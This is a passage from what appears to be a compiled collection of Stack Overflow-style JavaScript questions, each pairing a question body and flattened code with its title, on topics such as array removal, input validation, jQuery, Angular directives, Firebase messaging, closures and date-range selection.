) to remove an element but it does n't seem to listen to the location I give itthis is how I use itThe problem is the remove function , it does n't work when removing a object on a specific location I believe . Array.prototype.remove = function ( from , to ) { var rest = this.slice ( ( to || from ) + 1 || this.length ) ; this.length = from < 0 ? this.length + from : from ; return this.push.apply ( this , rest ) ; } ; var elements = [ ' # 1 ' , ' # 2 ' , ' # 3 ' , ' # 4 ' ] var R1 = Math.floor ( Math.random ( ) * elements.length ) , E1 = elements.slice ( R1,1 ) elements.remove ( R1 ) var R2 = Math.floor ( Math.random ( ) * elements.length ) , E2 = elements.slice ( R2,1 ) elements.remove ( R2 ) var R3 = Math.floor ( Math.random ( ) * elements.length ) , E3 = elements.slice ( R3,1 ) elements.remove ( R3 ) var R4 = Math.floor ( Math.random ( ) * elements.length ) , E4 = elements.slice ( R4,1 )",Removing value from array on specific location "JS : Hi i have created a javascript function to only allow numbers between 0 to 30 and character A and D. I give an alert if it does not match the criteria but if the user clicks ok on the alert the values still remain in the input and can be updated in the database . I want that user should not be able to enter anything at all in the input box except character A , D and numbers between 0 to 30 like it is done in the case of input type=number we can only enter numbers . My javascript function is : -The javascript works fine with validation but after clicking ok in alert value still remains there and it also gives error when input box is empty any way to avoid that . Is there any other better way to create the function or can it done by using jquery . I am new to jquery if it is possible to do it with jquery it would be great . I would be highly gratefull if anybody can help . function validate ( ) { var regex = / [ ad0-9 ] /gi ; var txt = document.getElementById ( 'txt ' ) .value ; var valid = true ; var error = `` ; if ( regex.test ( txt ) ) { if ( ! isNaN ( txt ) ) { if ( ! ( parseInt ( txt ) > = 0 & & parseInt ( txt ) < = 30 ) ) { valid = false ; error = 'Please enter between 0 to 30 . ' } } } else { valid = false ; error = 'Please enter between 0 to 30 , A or D ' } if ( ! valid ) { alert ( error ) ; } }","How to allow only numbers between 0 to 30 or A , D character in input using javascript ?" "JS : I want to write a test suite to ensure some given functions are using strict mode . There are many of them , and manually inspecting them seems like a chore.An answer in a similar question uses a regex on the function 's definition to check . However , I believe this will misdetect situations where the function being tested is inside a function with `` use strict '' or a file-level `` use strict '' declaration . The answer says that `` use strict '' is prepended , but in my environment ( Mozilla Rhino ) , this is not the case : I feel like the answer is `` no '' , but is there no way to introspect a function to see if it was parsed and found to be strict mode ? Update : One method suggest by @ Amy was to parse the function 's source to figure it out . This works if the function has a use-strict declaration ( although it 's tedious ) , but not if it the strict-mode is propagation from , say , Program-level ; in that case , we have to walk up the AST to the Program level and check that for use strict . To make this robust , we 'd have to implement all the rules for use strict-propagation , which the interpreter already has somewhere . ( Tested in SpiderMonkey : ) $ cat strict_sub.js '' use strict '' ; var strict_function = function ( ) { not_a_real_global = `` foo '' ; } ; print ( strict_function ) ; $ rhino strict_sub.js function ( ) { not_a_real_global = `` foo '' ; } function f ( ) { `` use strict '' ; } var fast1 = Reflect.parse ( f.toString ( ) ) ; var first_line = fast1.body [ 0 ] .body.body [ 0 ] .expression ; print ( first_line.type === 'Literal ' & & first_line.value === 'use strict ' ) ; //true","In Javascript , how can I check if a function is in strict mode *without changing the function* ?" "JS : I have a list of items , I am trying to locate duplicate LI classes and then group them into ULs.Here is my jQuery codeSee the jsFiddle : https : //jsfiddle.net/b4vFn/41/ < ul class= '' testList '' > < li class= '' a '' > Should be grouped in a UL with id name = a < /li > < li class= '' b '' > 2 < /li > < li class= '' c '' > Should be grouped in a UL with id name = c < /li > < li class= '' c '' > Should be grouped in a UL with id name = c < /li > < li class= '' d '' > 2 < /li > < li class= '' e '' > 3 < /li > < li class= '' a '' > Should be grouped in a UL with id name = a < /li > < /ul > $ ( 'ul.testList li ' ) .each ( function ( index , el ) { var li = $ ( this ) ; var cls = li.attr ( 'class ' ) ; var match = $ ( 'li [ class= '' ' + cls + ' '' ] ' ) ; if ( match.length > 0 ) { var ul = $ ( ' < ul id= '' '+ cls + ' '' > < /ul > ' ) ; match.appendTo ( ul ) ; $ ( this ) .add ( match ) .addClass ( 'matched ' ) ; } } ) ;",Find duplicate LI class names and group them in a UL using jQuery "JS : I am using the CSS attr function to dynamically link the value of a data-* attribute to the content of a pseudo element : I am then regularly updating that data attribute via the HTMLElement.dataset property : I 'm noticing that in Internet Explorer , though all of these features are supported , the pseudo-element is not having its content property updated to reflect the most recent changes.I have built a fiddle to demonstrate the problem . You may view it online here.What can I do to work around this limitation ? body : :after { content : attr ( data-after ) } setInterval ( function ( ) { document.body.dataset.after = new Date ; } , 1000 ) ;",Updating pseudo-element content property when HTMLElement.dataset updates "JS : I 'm reading `` Eloquent JavaScript '' . Chapter 3 introduces `` Closure '' concept and gives you a couple of examples . One of these is next one : I think I understood the concept . If first I execute console.log ( twice ) , since variable number is undefined , what I get is [ Function ] . What I do n't understand is how twice ( 5 ) works . Why local variable number is initialized with value 5 ? Also , why if I execute console.log ( multiplier ( 2,5 ) ) I do n't get 10 as a result ? Thanks . function multiplier ( factor ) { return function ( number ) { return number * factor ; } ; } var twice = multiplier ( 2 ) ; console.log ( twice ( 5 ) ) ; // → 10",Can someone explain me the flow of this JavaScript function ? ( Closure concept ) "JS : I have the code below and i would like to put a setTimeout between each iteration of Myurl . There are a number of classes and each of them contains a number of elements.So how could I set a delay between each Myurl in async.waterfall ? Say I want a 5 seconds delay . I managed to set setTimeout between each async.whilstiteration but not between each async.forEachOfSeries iteration . It simply does not wait , instead it continues to loop until each async.forEachOfSeries is done and then calls the async.whilst setTimeout.EDIT : Queue solution does not work . That solution seems to just go to next page , and next page and so on , without outputting to my database . Of course I could apply it in the wrong way , but I really tried to do exactly as the example said . //Some calculations before ... var i = 0 ; async.whilst ( function ( ) { return i < = thefooz.length - 1 ; } , function ( innerCallback ) { //Some calculations where I get classes array . async.forEachOfSeries ( classes , function ( Myurl , m , eachDone ) { // Here I want a delay async.waterfall ( [ function ( next ) { connection.query ( 'SELECT * FROM mydata WHERE UrlLink= ? LIMIT 1 ' , [ Myurl ] , next ) ; } , function ( results , fields , next ) { if ( results.length ! == 0 ) { console.log ( `` Already Present '' ) ; return next ( ) ; } console.log ( `` New Thing ! `` ) ; request ( options2 , function ( err , resp , body ) { if ( ! err & & resp.statusCode == 200 ) { var $ = cheerio.load ( body ) ; //Some calculations , where I get AllLinks . var post = { ThisUrl : AllLinks [ 0 ] , Time : AllLinks [ 1 ] , } ; var query = connection.query ( 'Insert INTO mydata Set ? ' , post , next ) ; } ; } ) ; } ] , eachDone ) ; } , function ( err ) { if ( err ) throw err ; } ) ; setTimeout ( function ( ) { i++ ; innerCallback ( ) ; console.log ( `` Done '' ) ; } , 20000 ) ; //Some calculations after ...",setTimeout inside iteration of iteration "JS : I have set up a webpage ( home.html ) that a user can sign into firebase using authentication . Once they authenticate , they are directed to a new page ( test.html ) . Once they are here , I want to be able to send a notification or data message.I am wondering if anyone can help me with the code to send a notification - any type of notification . I 've been on this for 3 days and can not send a notification from the web ! ! I ca n't find any tutorials on this - only people using curls.I have no idea how to handle the code below , which is supposed to be on how to send a notification to the devices subscribed to a topic . I am guessing that this is all JSON and needs to be put into a JSON object ? Please assume the Initialization is filled in , I removed all info - even though I think that information is supposed to be public.Thanks for any info ! This is my service worker ( so far ) : firebase-messaging.sw.jsThis is the app.js file that goes to the test.html pageAnd the barebones test.html file // Give the service worker access to Firebase Messaging . // Note that you can only use Firebase Messaging here , other Firebase libraries // are not available in the service worker . importScripts ( 'https : //www.gstatic.com/firebasejs/4.3.1/firebase-app.js ' ) ; importScripts ( 'https : //www.gstatic.com/firebasejs/4.3.1/firebase-messaging.js ' ) ; // Initialize Firebase var config = { apiKey : `` '' , authDomain : `` '' , databaseURL : `` '' , projectId : `` '' , storageBucket : `` '' , messagingSenderId : `` '' } ; firebase.initializeApp ( config ) ; const messaging = firebase.messaging ( ) ; messaging.setBackgroundMessageHandler ( function ( payload ) { const title = `` Hello World '' ; const options = { body : payload.data.status } ; return self.registration.showNotification ( title , options ) ; } ) ; // Initialize Firebase var config = { apiKey : `` '' , authDomain : `` '' , databaseURL : `` '' , projectId : `` '' , storageBucket : `` '' , messagingSenderId : `` '' } ; firebase.initializeApp ( config ) ; // Retrieve Firebase Messaging object . const messaging = firebase.messaging ( ) ; messaging.requestPermission ( ) .then ( function ( ) { console.log ( 'Notification permission granted . ' ) ; return messaging.getToken ( ) ; } ) .then ( function ( token ) { console.log ( token ) ; } ) .catch ( function ( err ) { console.log ( 'Unable to get permission to notify . ' , err ) ; } ) messaging.onMessage ( function ( payload ) { console.log ( 'onMessage : ' , payload ) ; } ) ; < ! DOCTYPE html > < html > < head > < script src= '' https : //www.gstatic.com/firebasejs/4.3.1/firebase-app.js '' > < /script > < script src= '' https : //www.gstatic.com/firebasejs/4.3.1/firebase-messaging.js '' > < /script > < /head > < body > < script src= '' /scripts/app.js '' > < /script > < /body > < /html >",Firebase Cloud HTTP Message from Web "JS : I have a external file ( let 's say foo.js ) Then in my HTML , I import it with the script tag : I want to be able to get a string of the JS from inside of the script tag . I have tried jquery 's html ( ) , and the innerHTML and innerText attributes , but they all return empty strings.Note : I am trying to avoid AJAX , because my server is slow , and to decrease the size of the webpage , even with caches.Edit : The string I want to get would contain the data in the javascript file , not its URL : function baz ( ) { } < script type= '' text/javascript '' src= '' foo.js '' > < /script > getJsData ( document.querySelector ( 'script [ src= '' foo.js '' ] ' ) ) == 'function baz ( ) { } '",How do I read JS as data from a script tag ? "JS : I am attempting to reproduce jQuery 's ( 1.7.1 ) object structure , to better understand how it it works . I have the following code : My console looks like this : My confusion is how jQuery is able to return an array and still have it be a jQuery object ? jQuery being executed from the console might look something like : In fact , one thing that I definitely noticed is the lack of < for the return object . So what exactly is going on here ? I 've searched all over Google to explain how jQuery works , to no avail . Maybe I 'm just getting the terminology wrong , I 'm not sure . It seems I ca n't find any detailed source explaining this.Perhaps my code is just incomplete , but the basic structure that I have so far is what I 've been able to extract so far . Please correct what I have so far if it is wrong , incomplete , or inefficient , and by all means please feel free to provide good reading about : Javascript best practicesHow jQuery worksEfficient Javascript classesThings all about Javascript object structuresSingletonsPrototypesAnything else related to whatever this type of structure is called ( function ( window , undefined ) { var document = window.document , navigator = window.navigator , location = window.location ; window.myclass = ( function ( ) { var __con = function ( ) { return new __con.fn.init ( ) ; } __con.fn = __con.prototype = { 'init ' : function ( ) { return this ; } , 'test ' : function ( ) { console.log ( 'test1 ' ) ; return this ; } } __con.fn.init.prototype = __con.fn ; __con.test = function ( ) { console.log ( 'test2 ' ) ; return this ; } return __con ; } ) ( ) ; } ) ( window ) ; > myclass ( ) .test ( ) ; test1 < __con.fn.__con.init > myclass.test ( ) ; test2 < function ( ) { return new __con.fn.init ( ) ; } > $ ( document.body ) [ < body > ​…​ < /body > ​ ] > $ ( document.body ) .css ( 'width ' ) ; `` 1263px ''",How can jQuery return an array and still have it be a jQuery object ? "JS : If in a webkit browser like Chrome i do : I get a result that looks almost exactly the same as jQuery 's : If in the console I look for definition of $ $ I get : And for $ I get : What type of functions can I do on a $ $ object that I can not really do with a jQuery ( $ ) object ? $ $ ( 'span ' ) ; $ ( 'span ' ) ; bound : function ( ) { return document.querySelectorAll.apply ( document , arguments ) } function ( a , b ) { return new c.fn.init ( a , b ) }",What is the difference between webkit 's ` $ $ ` return and jQuery ` $ ` return ? "JS : I want to ask about flags that are available in the normal Chrome browser ( chrome : //flags ) . Previously I was using Crosswalk with Cordova and I had the option to change stuff in config.xml by adding the preference xwalkCommandLine . Since Crosswalk is basically dead , is it possible to do the same thing in Cordova ? Are there other preference names ( or maybe even plugins ) that will enable this feature ? < preference name= '' xwalkCommandLine '' value= '' -- enable-experimental-canvas-features -- ignore-gpu-blacklist '' / >",Cordova - how to modify webview flags ? "JS : Fancybox breaks swiper . Adds offset without visible CSS and DOM changes . To replicate the issue on jsbin ( https : //output.jsbin.com/jiqucacete ) you need:1 ) Press on the swiper slide image2 ) Go to next image in fancybox gallery popup3 ) Close gallery and there will be slide change in swiperHow does it work ? Why there are n't visible any CSS , DOM changes ? How to fix ? new Swiper ( '.swiper-container ' , { slidesPerView : 1 } ) ;",Fancybox gallery breaks swiper "JS : what 's the difference between Browsers and Node ? for instance : setName.js on Node : setName.html in browser : the the second log is different , why ? var setName ; setName = function ( name ) { return this.name = name ; } ; setName ( `` LuLu '' ) ; //LuLuconsole.log ( name ) ; //undefinedconsole.log ( this.name ) ; < script > var setName ; setName = function ( name ) { return this.name = name ; } ; setName ( `` LuLu '' ) ; //LuLu console.log ( name ) ; //LuLu console.log ( this.name ) ; < /script >",what 's the difference between Browsers and Node ? "JS : I was using the googleplace directive for the Google places autocompletor.It works when I use this directive in AppComponent as shown in the link but does n't work when I used it in the child Components.app.routes.tsmain.tsapp.component.tsbase.component.tsbase.html has < router-outlet > < /router-outlet > has its contentdashboard.component.tsgoogleplace.directiveindex.htmlOutput : Update : Found that , it works perfectly when there is one router-outlet tag in the project , but fails to work when we have nested router-outlet as above example has nested router-outletGithub link hereIs there any issue with directive code with child components of a component ? Please let me know how I can resolve this issue . import { provideRouter , RouterConfig } from ' @ angular/router ' ; import { BaseComponent } from './components/base/base.component ' ; import { DashboardComponent } from './components/dashboard/dashboard.component ' ; const routes : RouterConfig= [ { path : '' '' , redirectTo : '' /admin '' , pathMatch : 'full ' } , { path : '' admin '' , component : BaseComponent , children : [ { path : `` , component : BaseComponent } , { path : 'dashboard ' , component : DashboardComponent } , ] } ] ; export const appRouterProviders = [ provideRouter ( routes ) ] ; import { bootstrap } from ' @ angular/platform-browser-dynamic ' ; import { AppComponent } from './app.component ' ; import { appRouterProviders } from './app.routes ' ; bootstrap ( AppComponent , [ appRouterProviders ] ) ; import { Component } from ' @ angular/core ' ; import { ROUTER_DIRECTIVES } from ' @ angular/router ' ; @ Component ( { selector : 'my-app ' , template : ` < router-outlet > < /router-outlet > ` , directives : [ ROUTER_DIRECTIVES ] } ) export class AppComponent { } import { Component , OnInit } from ' @ angular/core ' ; import { provideRouter , RouterConfig , ROUTER_DIRECTIVES , Router } from ' @ angular/router ' ; @ Component ( { selector : 'app-base ' , templateUrl : '' ../app/components/base/base.html '' , directives : [ ROUTER_DIRECTIVES ] , precompile : [ ] } ) export class BaseComponent implements OnInit { constructor ( private _router : Router ) { } ngOnInit ( ) : any { this._router.navigate ( [ `` admin/dashboard '' ] ) ; } } import { Component , OnInit } from ' @ angular/core ' ; import { provideRouter , RouterConfig , ROUTER_DIRECTIVES , Router } from ' @ angular/router ' ; import { GoogleplaceDirective } from './../../../directives/googleplace.directive ' ; @ Component ( { selector : 'dashboard ' , template : ` < input type= '' text '' [ ( ngModel ) ] = `` address '' ( setAddress ) = `` getAddress ( $ event ) '' googleplace/ > ` , directives : [ ROUTER_DIRECTIVES , GoogleplaceDirective ] } ) export class DashboardComponent implements OnInit { constructor ( private _router : Router ) { } ngOnInit ( ) : any { // this._router.navigate ( [ `` dashboard/business '' ] ) ; } public address : Object ; getAddress ( place : Object ) { this.address = place [ 'formatted_address ' ] ; var location = place [ 'geometry ' ] [ 'location ' ] ; var lat = location.lat ( ) ; var lng = location.lng ( ) ; console.log ( `` Address Object '' , place ) ; } } import { Directive , ElementRef , EventEmitter , Output } from ' @ angular/core ' ; import { NgModel } from ' @ angular/common ' ; declare var google : any ; @ Directive ( { selector : ' [ googleplace ] ' , providers : [ NgModel ] , host : { ' ( input ) ' : 'onInputChange ( ) ' } } ) export class GoogleplaceDirective { @ Output ( ) setAddress : EventEmitter < any > = new EventEmitter ( ) ; modelValue : any ; autocomplete : any ; private _el : HTMLElement ; constructor ( el : ElementRef , private model : NgModel ) { this._el = el.nativeElement ; this.modelValue = this.model ; var input = this._el ; this.autocomplete = new google.maps.places.Autocomplete ( input , { } ) ; google.maps.event.addListener ( this.autocomplete , 'place_changed ' , ( ) = > { var place = this.autocomplete.getPlace ( ) ; this.invokeEvent ( place ) ; } ) ; } invokeEvent ( place : Object ) { this.setAddress.emit ( place ) ; } onInputChange ( ) { } }",Google autocompleter place does n't work in the Child Component in Angular 2 "JS : I am trying to get a line graph to display correctly on my site , but for some reason it wants to overflow the graph container . I have tried reset the box-sizing to initial , setting overflow hidden on all child elements of the graph and nothing seems to be working . I have no idea why this is happening and was wondering if anyone had come across this issue before themselves ? I 've added an image below of what I am currently getting and underneath that , the object that is being used to set up the line graph . { `` type '' : `` serial '' , '' theme '' : `` light '' , '' marginRight '' : 80 , '' autoMarginOffset '' : 20 , '' marginTop '' : 7 , '' dataProvider '' : queryData.data.result , '' valueAxes '' : [ { `` axisAlpha '' : 0.2 , `` dashLength '' : 1 , `` position '' : `` left '' } ] , '' mouseWheelZoomEnabled '' : true , '' graphs '' : [ { `` id '' : `` g1 '' , `` balloonText '' : `` [ [ value ] ] '' , `` bullet '' : `` round '' , `` bulletBorderAlpha '' : 1 , `` bulletColor '' : `` # FFFFFF '' , `` hideBulletsCount '' : 50 , `` title '' : `` red line '' , `` valueField '' : `` value '' , `` useLineColorForBulletBorder '' : true , `` balloon '' : { `` drop '' : true } } ] , '' chartScrollbar '' : { `` autoGridCount '' : true , `` graph '' : `` g1 '' , `` scrollbarHeight '' : 40 } , '' chartCursor '' : { `` limitToGraph '' : `` g1 '' } , '' categoryField '' : `` name '' , '' dataDateFormat '' : `` DD/MM/YYYY HH : NN : SS '' , '' categoryAxis '' : { `` parseDates '' : true , `` axisColor '' : `` # DADADA '' , `` dashLength '' : 1 , `` minorGridEnabled '' : true } , '' export '' : { `` enabled '' : true } }",AmCharts - Line Chart Overflowing graph container "JS : So , what I 'm trying to do is implement a data range selection that does n't show two date pickers 'from ' and 'to ' . I want to let the user choose between today , yesterday , last week , last month , etc.I have something like this in our application on the server-side but : 1- the code looks terrible ; 2- I want the API to receive the 'From ' and 'To ' dates , I just want the user to see a friendly date range selection.Additional info : My front-end is based on AngularJS.I want it to look something like this : The actual code on the server-side is this mess : var today = DateTime.Now.Date ; if ( dateRange == ( int ) DateRange.Custom ) { var start = DateTime.ParseExact ( dateFrom , `` dd/MM/yyyy '' , null ) ; var end = DateTime.ParseExact ( dateTo , `` dd/MM/yyyy '' , null ) .AddDays ( 1 ) ; query = query.Where ( ss = > ss.DateRecevied > = start & & ss.DateRecevied < end ) ; return query ; } if ( dateRange == ( int ) DateRange.Today ) { query = query.Where ( ss = > ss.DateRecevied > = today ) ; return query ; } if ( dateRange == ( int ) DateRange.Yesterday ) { var dateShift = today.AddDays ( -1 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift & & ss.DateRecevied < today ) ; return query ; } if ( dateRange == ( int ) DateRange.ThisWeekFromSunToday ) { var dt = DateTime.Now.StartOfWeek ( DayOfWeek.Sunday ) ; query = query.Where ( ss = > ss.DateRecevied > = dt ) ; return query ; } if ( dateRange == ( int ) DateRange.ThisWeekFromMonToday ) { var dt = DateTime.Now.StartOfWeek ( DayOfWeek.Monday ) ; query = query.Where ( ss = > ss.DateRecevied > = dt ) ; return query ; } if ( dateRange == ( int ) DateRange.Last7Days ) { var dateShift = today.AddDays ( -7 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift ) ; return query ; } if ( dateRange == ( int ) DateRange.Last14days ) { var dateShift = today.AddDays ( -14 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift ) ; return query ; } if ( dateRange == ( int ) DateRange.ThisMonth ) { var dateShift = new DateTime ( today.Year , today.Month , 1 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift ) ; return query ; } if ( dateRange == ( int ) DateRange.Last30days ) { var dateShift = today.AddDays ( -30 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift ) ; return query ; } if ( dateRange == ( int ) DateRange.LastMonth ) { var dateShift = new DateTime ( today.Year , today.Month , 1 ) ; var dateShift2 = dateShift.AddMonths ( -1 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift2 & & ss.DateRecevied < dateShift ) ; return query ; } if ( dateRange == ( int ) DateRange.AllTime ) { query = query.AsQueryable ( ) ; return query ; } if ( dateRange == ( int ) DateRange.Last90Days ) { var dateShift = today.AddDays ( -90 ) ; query = query.Where ( ss = > ss.DateRecevied > = dateShift ) ; return query ; } if ( dateRange == ( int ) DateRange.LastWeekFromMonSun ) { var dateLastWeekMonday = DateTimeExtensions.GetDateForLastWeekMonday ( today ) ; var dateLastWeekSun = DateTimeExtensions.GetDateForLastWeekSun ( today ) .AddDays ( 1 ) ; query = query .Where ( ss = > ss.DateRecevied > = dateLastWeekMonday & & ss.DateRecevied < dateLastWeekSun ) ; return query ; } if ( dateRange == ( int ) DateRange.LastWorkingWeekFromMonFri ) { var dateLastWeekMonday = DateTimeExtensions.GetDateForLastWeekMonday ( today ) ; var dateLastWeekFri = DateTimeExtensions.GetDateForLastWeekFri ( today ) .AddDays ( 1 ) ; query = query .Where ( ss = > ss.DateRecevied > = dateLastWeekMonday & & ss.DateRecevied < dateLastWeekFri ) ; return query ; } return query ;","How to implement a 'human ' date range selection drop down list using HTML/JS ? ( Today , Yesterday , Last Week ... )" "JS : I want my < div > contents to make a smooth entry when my website loads . They have to start appearing one after the other when the website loads . And also , the background image loads late as it is filtered by the weatherType.This is a localWeather webpage which gives you the weather information based on where you open the page . Note : - Please post the code on other third party Web Development sites like codepen.io to access the API.Here is my Code : $ ( document ) .ready ( function ( ) { $ ( `` .text-center '' ) .fadeIn ( ) ; var lon , lat , weatherType , ftemp , ktemp , ctemp , wspeed ; if ( navigator.geolocation ) { navigator.geolocation.getCurrentPosition ( function ( position ) { lon = position.coords.longitude ; lat = position.coords.latitude ; var api = 'https : //api.openweathermap.org/data/2.5/forecast ? lat= ' + lat + ' & lon= ' + lon + ' & appid=bb4b778076b0c8c79c7eb8fcd1fd4330 ' ; $ .getJSON ( api , function ( data ) { // $ ( `` # data '' ) .html ( api ) ; var city = data.city.name ; weatherType = data.list [ 0 ] .weather [ 0 ] .description ; //weatherType= '' clear sky '' ; ktemp = data.list [ 0 ] .main.temp ; console.log ( ktemp ) ; ftemp = ( 9 / 5 * ( ktemp - 273 ) + 32 ) .toFixed ( 1 ) ; ctemp = ( 5 / 9 * ( ftemp - 32 ) ) .toFixed ( 1 ) ; wspeed = data.list [ 0 ] .wind.speed ; wspeed = ( wspeed * 5 / 18 ) .toFixed ( 1 ) ; /* $ ( `` # city '' ) .addClass ( `` animated fadein '' , function ( ) { $ ( `` # city '' ) .html ( city ) ; } ) ; */ $ ( `` # city '' ) .addClass ( `` animated fadein '' ) ; $ ( `` # city '' ) .html ( city ) ; $ ( `` # weatherType '' ) .html ( weatherType ) ; $ ( `` # temp '' ) .html ( ctemp + `` & # 8451 ; '' ) ; // $ ( `` [ name='my-checkbox ' ] '' ) .bootstrapSwitch ( ) ; $ ( `` # degree-toggle '' ) .attr ( `` value '' , $ ( `` < div/ > '' ) .html ( `` & # 8457 ; '' ) .text ( ) ) ; var celsius = true ; $ ( `` # degree-toggle '' ) .on ( `` click '' , function ( ) { if ( celsius === true ) { $ ( `` # temp '' ) .html ( ftemp + `` & # 8457 ; '' ) ; $ ( `` # temp '' ) .fadeIn ( ) ; $ ( `` # degree-toggle '' ) .attr ( `` value '' , $ ( `` < div/ > '' ) .html ( `` & # 8451 ; '' ) .text ( ) ) ; celsius = false ; } else { $ ( `` # temp '' ) .html ( ctemp + `` & # 8451 ; '' ) ; $ ( `` # temp '' ) .fadeIn ( ) ; $ ( `` # degree-toggle '' ) .attr ( `` value '' , $ ( `` < div/ > '' ) .html ( `` & # 8457 ; '' ) .text ( ) ) ; celsius = true ; } } ) ; $ ( `` # wspeed '' ) .html ( wspeed + `` kmph '' ) ; weatherType=weatherType.toLowerCase ( ) ; if ( weatherType === `` clear sky '' ) $ ( `` body '' ) .css ( `` background-image '' , `` url ( 'https : //static.pexels.com/photos/281260/pexels-photo-281260.jpeg ' ) '' ) ; else if ( weatherType === `` few clouds '' ) $ ( `` body '' ) .css ( `` background-image '' , `` url ( 'https : //clearalliance.org/wp-content/uploads/2015/01/CLEAR-see-clear-flowers-e1422658973500.jpg ' ) '' ) ; else if ( weatherType === `` cloudy '' ) $ ( `` body '' ) .css ( `` background-image '' , `` url ( 'http : //www.gazetteseries.co.uk/resources/images/5360796/ ' ) '' ) ; else if ( weatherType === `` sunny '' ) $ ( `` body '' ) .css ( `` background-image '' , '' url ( 'https : //i2-prod.examiner.co.uk/incoming/article10372520.ece/ALTERNATES/s1227b/JS75768352.jpg ' ) '' ) ; else if ( weatherType=== '' showers '' ) $ ( `` body '' ) .css ( `` background-image '' , '' url ( 'http : //ak8.picdn.net/shutterstock/videos/1479838/thumb/1.jpg ' ) '' ) ; else if ( weatherType=== '' overcast clouds '' ) $ ( `` body '' ) .css ( `` background-image '' , '' url ( 'https : //patchegal.files.wordpress.com/2012/07/img_2406.jpg ' ) '' ) ; else if ( weatherType=== '' light rain '' ) $ ( `` body '' ) .css ( `` background-image '' , '' url ( 'https : //i.ytimg.com/vi/LbAigABOm_E/maxresdefault.jpg ' ) '' ) ; else $ ( `` body '' ) .css ( `` background-image '' , '' url ( 'https : //www.almanac.com/sites/default/files/image_nodes/thanksgiving-weather.jpg ' ) '' ) ; } ) ; } ) ; } } ) ; .text-center { display : none ; } < html > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1 '' > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css '' > < link rel= '' stylesheet '' href= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css '' > < link rel= '' stylesheet '' href= '' //fonts.googleapis.com/css ? family=Open+Sans:300,400,600,700 & amp ; lang=en '' / > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js '' > < /script > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js '' > < /script > < /head > < body > < div class= '' text-center '' id= '' content '' > < div > < h1 > < b > Weather Today < /b > < /h1 > < /div > < br/ > < h2 > Location : < span id= '' city '' > < /span > < /h2 > < br/ > < h2 > Weather : < span id= '' weatherType '' > < /span > < /h2 > < br/ > < h2 > Temperature : < span id= '' temp '' > < /span > < input type= '' button '' id= '' degree-toggle '' checked= '' checked '' > < /h2 > < br/ > < h2 > Wind Speed : < span id= '' wspeed '' > < /span > < /h2 > < br/ > < /div > < /body > < /html >",How do I give my ` < div > ` elements a animation entry when my website loads "JS : I 've managed to write a simple fiddle that crashes the native iOS facebook app.If you paste this link into your timeline http : //jsfiddle.net/Gc58e/ ( it is just a simple button with a FB.login callback with photos scope ) and open it from within the native iOS app , it opens in a webview.htmljavascriptWhen you click on the button , the authentication window shows and after clicking in either cancel or ok , the whole application crashes.It does n't happen if you are viewing it with Safari directly or in any other browser.I 've seen that many popular apps also crash the when authenticating from the embedded webview inside the native iOS Facebook app ; so it might be a bug or just that the correct way of doing it is not evident ... Here 's crashlog . < div id= '' fb-root '' > < /div > < div class= '' box '' > < div class= '' info '' > Let 's see if we can crash it ! < /div > < button class= '' login '' > Login with Facebook < /button > < /div > window.fbAsyncInit = function ( ) { FB.init ( { appId : '467875209900414 ' } ) ; } ; ( function ( d ) { var js , id = 'facebook-jssdk ' ; if ( d.getElementById ( id ) ) { return ; } js = d.createElement ( 'script ' ) ; js.id = id ; js.async = true ; js.src = `` //connect.facebook.net/en_US/all.js '' ; d.getElementsByTagName ( 'head ' ) [ 0 ] .appendChild ( js ) ; } ( document ) ) ; $ ( '.login ' ) .on ( 'click ' , function ( ) { FB.login ( function ( response ) { alert ( 'login callback ' + JSON.stringify ( response ) ) ; } , { scope : 'user_photos ' } ) ; } ) ;",Official Facebook iOS app always crashes when calling FB.login ( ) from web app "JS : When accessing nested objects using dot notation , I always have to make sure that the previous object exists , which gets pretty exhausting.I basically want to avoid long if chains likeThe only other thing I can think of is via the use of a try catch.Is there a better pattern for this ? if ( a & & a.b & & a.b.c & & a.b.c [ 0 ] ... ) { v = a.b.c [ 0 ] ; } var v ; try { v = a.b.c [ 0 ] .d.e ; } catch ( e ) { }",Pattern to avoid long dot-notation chains "JS : Our team 's design pattern for waiting on a directive 's template to render is to wrap our DOM manipulation code in a $ timeout ( inside the directive 's link function ) , which I know at one time was the normal design pattern . Is that still true , or are there better/safer design patterns to do this ? Example of pattern is in ECMAScript6 : link : ( $ scope , $ element ) = > { $ timeout ( ( ) = > { var domElementFromTemplate = $ element.find ( 'myDOMElement ' ) ; } }",Is $ timeout still best practice for waiting on Angular directive template ? JS : Okay ... .I have a lot of uncontrolled numbers i want to round : I have tried modifying the numbers as string and counting length ... .But is there a simple way using some Math function maybe ? 51255 - > 5500025 - > 259214 - > 950013135 - > 1500025123 - > 30000,Math.ceil to nearest five at position 1 "JS : I have the following question ( this is not school -- just code site practice questions ) and I ca n't see what my solution is missing.A non-empty array A consisting of N integers is given . The array contains an odd number of elements , and each element of the array can be paired with another element that has the same value , except for one element that is left unpaired . Assume that : *N is an odd integer within the range [ 1..1,000,000 ] ; *each element of array A is an integer within the range [ 1..1,000,000,000 ] ; *all but one of the values in A occur an even number of times.EX : A = [ 9,3,9,7,9 ] Result : 7The official solution is using the bitwise XOR operator : My first instinct was to keep track of the occurrences of each value in a Map lookup table and returning the key whose only value appeared once . I feel like I handled any edge cases but I 'm still failing some tests and it 's coming back with a 66 % correct by the automated scorer . function solution ( A ) { var agg = 0 ; for ( var i=0 ; i < A.length ; i++ ) { agg ^= A [ i ] ; } return agg ; } function solution ( A ) { if ( A.length < 1 ) { return 0 } let map = new Map ( ) ; let res = A [ 0 ] for ( var x = 0 ; x < A.length ; x++ ) { if ( map.has ( A [ x ] ) ) { map.set ( A [ x ] , map.get ( A [ x ] ) + 1 ) } else { map.set ( A [ x ] , 1 ) } } for ( [ key , value ] of map.entries ( ) ) { if ( value===1 ) { res = key } } return res ; }",JS : 